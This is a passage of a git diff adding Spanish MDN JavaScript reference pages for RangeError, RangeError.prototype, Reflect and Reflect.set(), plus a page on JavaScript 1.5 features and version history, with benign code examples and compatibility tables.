+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_buscadores">Compatibilidad con los buscadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler.set")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Reflect.set()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/rangeerror/index.html b/files/es/web/javascript/reference/global_objects/rangeerror/index.html
new file mode 100644
index 0000000000..672942b3ad
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/rangeerror/index.html
@@ -0,0 +1,163 @@
+---
+title: RangeError
+slug: Web/JavaScript/Reference/Global_Objects/RangeError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <code><strong>RangeError</strong></code> indica un error cuando un valor no se encuentra dentro de un rango de valores permitidos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Opcional. Mensaje de error</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Opcional. Nombre del fichero que contiene el código donde se produjo el error</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Opcional. Número de línea de código donde se produjo el error</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Se lanza un <code>RangeError</code> cuando se pasa como parámetro a una función un número que no está dentro del rango que dicha función permite. Esto puede ocurrir cuando se intenta crear un array  con una longitud inválida con el constructor {{jsxref("Array")}}, o al pasar valores inválidos a los métodos numéricos {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} o {{jsxref("Number.toPrecision()")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd>Permite añadir propiedades a objetos <code>RangeError</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><code>RangeError</code> no contiene métodos, pero hereda a través de la <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Herencia_y_la_cadena_de_protipos">cadena de prototipos</a>.</p>
+
+<h2 id="Instancias_de_RangeError">Instancias de <code>RangeError</code></h2>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<div>{{page('/es/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Propiedades')}}</div>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<div>{{page('/es/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Métodos')}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_RangeError">Utilizando <code>RangeError</code></h3>
+
+<pre class="brush: js">var check = function(num) {
+  if (num &lt; MIN || num &gt; MAX) {
+    throw new RangeError('El parámetro debe estar entre ' + MIN + ' y ' + MAX);
+  }
+};
+
+try {
+  check(500);
+}
+catch (e) {
+  if (e instanceof RangeError) {
+    // TODO: Manejar el error de rango
+  }
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inical.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/rangeerror/prototype/index.html b/files/es/web/javascript/reference/global_objects/rangeerror/prototype/index.html
new file mode 100644
index 0000000000..ba020719b7
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/rangeerror/prototype/index.html
@@ -0,0 +1,130 @@
+---
+title: RangeError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propiedad
+  - Prototipo
+  - Prototype
+  - RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>RangeError.prototype</strong></code> representa el prototipo de {{jsxref("RangeError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Todas las instancias de {{jsxref("RangeError")}} heredan de <code>RangeError.prototype</code>. Puede utilizar el prototipo para añadir propiedades o métodos a todas las instancias.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>RangeError.prototype.constructor</code></dt>
+ <dd>Especifica la función que crea instancias del prototipo.</dd>
+ <dt>{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}</dt>
+ <dd>Mensaje de error. Aunque ECMA-262 especifica que {{jsxref("RangeError")}} debe procurar su propio <code>message</code>, en <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, se hereda de {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}</dt>
+ <dd>Nombre del error. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}</dt>
+ <dd>Ruta al fichero en el que se produjo el error. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}</dt>
+ <dd>Número de línea en el fichero en el que se produjo el error. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}</dt>
+ <dd>Número de columna de la línea en la que se produjo. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}</dt>
+ <dd>Pila de llamadas. Heredada de {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p>Aunque el prototipo del objeto {{jsxref("RangeError")}} no contiene métodos propios, las instancias de {{jsxref("RangeError")}} heredan algunos a través de la <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Herencia_y_la_cadena_de_protipos">cadena de prototipos</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definido como <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definido como <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/reflect/index.html b/files/es/web/javascript/reference/global_objects/reflect/index.html
new file mode 100644
index 0000000000..a2f9d12fb7
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/reflect/index.html
@@ -0,0 +1,137 @@
+---
+title: Reflect
+slug: Web/JavaScript/Reference/Global_Objects/Reflect
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - NeedsTranslation
+  - Overview
+  - Reflect
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Reflect </strong> es un objecto incorporado que proporciona metodos para interceptar operaciones de javascript. Los métodos son los mismos que los de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">proxy handlers</a>. <code>Reflect</code> no es un objeto de funciones y por lo tanto no puede ser construido.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>A diferencia de la mayoria de los objetos globales, <code>Reflect</code> no es un constructor.  No puede ser instanciado con un <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">operador</a> <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> </a>o invocando el objecto  <code>Reflect</code> como una función. Todas las propiedades y métodos de <code>Reflect</code> son estáticos (igual que los del objeto {{jsxref("Math")}}).</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p>El objeto <code>Reflect</code>  proporciona las siguientes funciones estáticas con los mismos nombres de los métodos de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">proxy handler</a>. Algunos de estos métodos son correspondientes a los métodos de {{jsxref("Object")}}.</p>
+
+<dl>
+ <dt>{{jsxref("Reflect.apply()")}}</dt>
+ <dd>Calls a target function with arguments as specified by the <code>args</code> parameter. See also {{jsxref("Function.prototype.apply()")}}.</dd>
+ <dt>{{jsxref("Reflect.construct()")}}</dt>
+ <dd> The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> as a function. Equivalent to calling <code>new target(...args)</code>.</dd>
+ <dt>{{jsxref("Reflect.defineProperty()")}}</dt>
+ <dd>Similar to {{jsxref("Object.defineProperty()")}}. Returns a {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.deleteProperty()")}}</dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> operator</a> as a function. Equivalent to calling <code>delete target[name]</code>.</dd>
+ <dt>{{jsxref("Reflect.get()")}}</dt>
+ <dd>A function that returns the value of properties.</dd>
+ <dt>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Similar to {{jsxref("Object.getOwnPropertyDescriptor()")}}. Returns a property descriptor of the given property if it exists on the object,  {{jsxref("undefined")}} otherwise.</dd>
+ <dt>{{jsxref("Reflect.getPrototypeOf()")}}</dt>
+ <dd>Same as {{jsxref("Object.getPrototypeOf()")}}.</dd>
+ <dt>{{jsxref("Reflect.has()")}}</dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> operator</a> as function. Returns a boolean indicating whether an own or inherited property exists.</dd>
+ <dt>{{jsxref("Reflect.isExtensible()")}}</dt>
+ <dd>Same as {{jsxref("Object.isExtensible()")}}.</dd>
+ <dt>{{jsxref("Reflect.ownKeys()")}}</dt>
+ <dd>Returns an array of the target object's own (not inherited) property keys.</dd>
+ <dt>{{jsxref("Reflect.preventExtensions()")}}</dt>
+ <dd>Similar to {{jsxref("Object.preventExtensions()")}}. Returns a {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.set()")}}</dt>
+ <dd>A function that assigns values to properties. Returns a {{jsxref("Boolean")}} that is <code>true</code> if the update was successful.</dd>
+ <dt>{{jsxref("Reflect.setPrototypeOf()")}}</dt>
+ <dd>A function that sets the prototype of an object.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Reflect.enumerate has been removed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="También_ver">También ver</h2>
+
+<ul>
+ <li>The {{jsxref("Proxy")}} global object.</li>
+ <li>The {{jsxref("Proxy.handler", "handler")}} object.</li>
+</ul>
diff --git a/files/es/web/javascript/reference/global_objects/reflect/set/index.html b/files/es/web/javascript/reference/global_objects/reflect/set/index.html
new file mode 100644
index 0000000000..10436d8928
--- /dev/null
+++ b/files/es/web/javascript/reference/global_objects/reflect/set/index.html
@@ -0,0 +1,148 @@
+---
+title: Reflect.set()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/set
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/set
+---
+<div>{{JSRef}}</div>
+
+<p>El método estático <code><strong>Reflect</strong></code><strong><code>.set()</code></strong> funciona igual que asignar una propiedad en un objeto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Reflect.set(target, propertyKey, value[, receiver])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>El objeto en el cual se va a asignar una propiedad.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>El nombre de la propiedad a asignar.</dd>
+ <dt>value</dt>
+ <dd>El valor de la propiedad.</dd>
+ <dt>receiver</dt>
+ <dd>El valor de <code>this</code> para usar en la llamada a <code>target</code> si se encuentra un setter.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{jsxref("Boolean")}} indicando si se pudo o no asignar la propiedad.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Un {{jsxref("TypeError")}}, si <code>target</code> no es un {{jsxref("Object")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>Reflect.set</code> permite asignar una propiedad a un objeto. It does property assignment and is like the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessor</a> syntax as a function.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_Reflect.set()"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif">Uso de </font>Reflect.set()</code></h3>
+
+<pre class="brush: js">// Objeto
+var obj = {};
+Reflect.set(obj, 'prop', 'value'); // true
+obj.prop; // "value"
+
+// Arreglo
+var arr = ['duck', 'duck', 'duck'];
+Reflect.set(arr, 2, 'goose'); // true
+arr[2]; // "goose"
+
+// Puede truncar un arreglo.
+Reflect.set(arr, 'length', 1); // true
+arr; // ["duck"];
+
+// Con solo un argumento, propertyKey y value son "undefined".
+var obj = {};
+Reflect.set(obj); // true
+Reflect.getOwnPropertyDescriptor(obj, 'undefined');
+// { value: undefined, writable: true, enumerable: true, configurable: true }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>49</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(42)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>49</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(42)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/acerca_de/index.html b/files/es/web/javascript/referencia/acerca_de/index.html
new file mode 100644
index 0000000000..3382ea7dca
--- /dev/null
+++ b/files/es/web/javascript/referencia/acerca_de/index.html
@@ -0,0 +1,158 @@
+---
+title: Acerca de
+slug: Web/JavaScript/Referencia/Acerca_de
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/About
+---
+<div>{{JsSidebar}}</div>
+
+<h3 id="Nuevas_caracter.C3.ADsticas_en_esta_versi.C3.B3n" name="Nuevas_caracter.C3.ADsticas_en_esta_versi.C3.B3n">Nuevas características en esta versión</h3>
+
+<p>JavaScript versión 1.5 provee las siguientes nuevas características y extensiones:</p>
+
+<p><strong>Errores en tiempo de ejecución </strong><br>
+ Los errores en tiempo de ejecución son ahora reportados como <a href="/es/Guía_JavaScript_1.5/Sentencias_de_manejo_de_excepciones" title="es/Guía_JavaScript_1.5/Sentencias_de_manejo_de_excepciones">excepciones</a>.</p>
+
+<p><strong>Extensiones para el formato de números </strong><br>
+ El formato de números ha sido extendido para incluir los métodos <code>Number.prototype.toExponential</code>, <code>Number.prototype.toFixed</code> y <code>Number.prototype.toPrecision</code>.</p>
+
+<p><strong>Extensiones de expresiones regulares </strong><br>
+ Las siguientes extensiones para expresiones regulares han sido añadidas:</p>
+
+<ul>
+ <li>Cuantificadores avaros: <code>— +, *, ? y {}</code>:ahora pueden seguirse por un <code>?</code> para forzarlos ha no ser avaros. Para la entrada <strong>?</strong> Véase la página <a href="/es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales" title="es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales">Escribir un patrón de expresiones regulares</a>.</li>
+ <li>Paréntesis sin captura: <code>(?:x)</code>:pueden ser usados en vez de paréntesis con captura <code>(x)</code>. Cuando son utilizados, las sub expresiones de compatibilidad {{ mediawiki.external('match') }} no están disponibles como referencias de respaldo {{ mediawiki.external('back-references') }}. Para la entrada <strong>(?:x)</strong> Véase la página: <a href="/es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales" title="es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales">Escribir un patrón de expresiones regulares</a>.</li>
+ <li>Aserciones predictivas {{ mediawiki.external('lookahead assertions') }} positivas y negativas son soportadas. Las dos aserguran una comparación dependiente de lo que sigue en la cadena de texto que está siendo cotejada. Ver las entradas para <code>x(?=y) y x(?!y)</code> en la página: <a href="/es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales" title="es/Guía_JavaScript_1.5/Escribir_un_patrón_de_expresión_regular#Uso_de_caracteres_especiales">Escribir un patrón de expresiónes regulares</a>.</li>
+ <li>La bandera m ha sido añadida para especificar que la expresión regular deberá cotejarse sobre múltiples líneas.</li>
+</ul>
+
+<p><strong>Declaraciones condicionales de funciones </strong><br>
+ Las funciones ahora pueden ser declaradas al interior de una cláusula if.</p>
+
+<p><strong>Expresiones funcionales </strong><br>
+ Las funciones ahora pueden ser declaradas al interior de una expresión.</p>
+
+<p><strong>Cláusulas Catch múltiples </strong><br>
+ Las cláusulas Catch múltiples en una sentencia try...catch son soportadas.</p>
+
+<p><strong>Constantes </strong><br>
+ Constantes nominadas como sólo de lectura son soportadas. Esta característica está disponible únicamente en la implementación C de JavaScript.</p>
+
+<p><strong>Obtenedores y Modificadores (Getters and Setters) </strong><br>
+ Los editores de JavaScript ahora pueden añadir obtenedores {{ mediawiki.external('getters') }} y modificadores {{ mediawiki.external('setters') }} a sus objetos. Esta característica está disponible únicamente en la implementación C de JavaScript.</p>
+
+<h3 id="Qu.C3.A9_deber.C3.ADa_saberse_ya" name="Qu.C3.A9_deber.C3.ADa_saberse_ya">Qué debería saberse ya</h3>
+
+<p>Esta referencia asume que usted tiene a su respaldo el siguiente conocimiento básico:</p>
+
+<ul>
+ <li>Un entendimiento general de la Internet y de la World Wide Web (WWW).</li>
+ <li>Un conocimiento práctico del lenguaje de marcas para Hipertexto {{ mediawiki.external('HyperText Markup Language') }} (<a href="/es/HTML" title="es/HTML">HTML</a>).</li>
+</ul>
+
+<p>Es beneficioso alguna experiencia en programación en lenguajes como C o Visual Basic, pero no es requerido.</p>
+
+<h3 id="Versiones_de_JavaScript" name="Versiones_de_JavaScript">Versiones de JavaScript</h3>
+
+<p>Cada versión del servidor Netscape Enterprise también soporta una versión diferente de JavaScript. Para ayudarle a escribir sus scripts para que sean compatibles con múltiples versiones de un servidor Enterprise, este manual lista la versión de JavaScript en la cual cada característica fue implementada.</p>
+
+<p>La siguiente tabla lista las veriones de JavaScript soportadas por las diferentes versiones de Navegadores. Versiones de Navegadores anteriores a la 2.0 no soportan JavaScript.</p>
+
+<h4 id="JavaScript_y_Versiones_de_Navegadores" name="JavaScript_y_Versiones_de_Navegadores">JavaScript y Versiones de Navegadores</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Versión de JavaScript</td>
+   <td class="header">Versión del Navegador</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.0</td>
+   <td>Navegador 2.0</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.1</td>
+   <td>Navegador 3.0</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.2</td>
+   <td>Navegador 4.0-4.05</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.3</td>
+   <td>Navegador 4.06-4.7x</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.4</td>
+   <td>n/a</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.5</td>
+   <td>Navegador 6.0
+    <p>Mozilla 0.6x-0.9x<br>
+     (navegador de código abierto)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.6</td>
+   <td>Mozilla Firefox 1.5</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.7</td>
+   <td>Mozilla Firefox 2</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Cada versión del servidor Netscape Enterprise también soporta una versión diferente de JavaScript. Para ayudarle a escribir sus scripts para que sean compatibles con múltiples versiones de un servidor Enterprise, este manual usa una abreviación para indicar la versión del servidor en el cual cada característica fue implementada.</p>
+
+<h4 id="JavaScript_and_Netscape_Enterprise_Server_Versions" name="JavaScript_and_Netscape_Enterprise_Server_Versions">JavaScript and Netscape Enterprise Server Versions</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Abbreviation</td>
+   <td class="header">Enterprise Server Version</td>
+  </tr>
+  <tr>
+   <td>NES 2.0</td>
+   <td>Netscape Enterprise Server 2.0</td>
+  </tr>
+  <tr>
+   <td>NES 3.0</td>
+   <td>Netscape Enterprise Server 3.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="D.C3.B3nde_encontrar_informaci.C3.B3n_de_JavaScript" name="D.C3.B3nde_encontrar_informaci.C3.B3n_de_JavaScript">Dónde encontrar información de JavaScript</h3>
+
+<p>La documentación de JavaScript incluye los siguientes libros:</p>
+
+<ul>
+ <li><a href="/es/Guía_JavaScript_1.5" title="es/Guía_JavaScript_1.5">Guía de JavaScript 1.5</a> provee la información sobre el lenguaje JavaScript y sus objetos.</li>
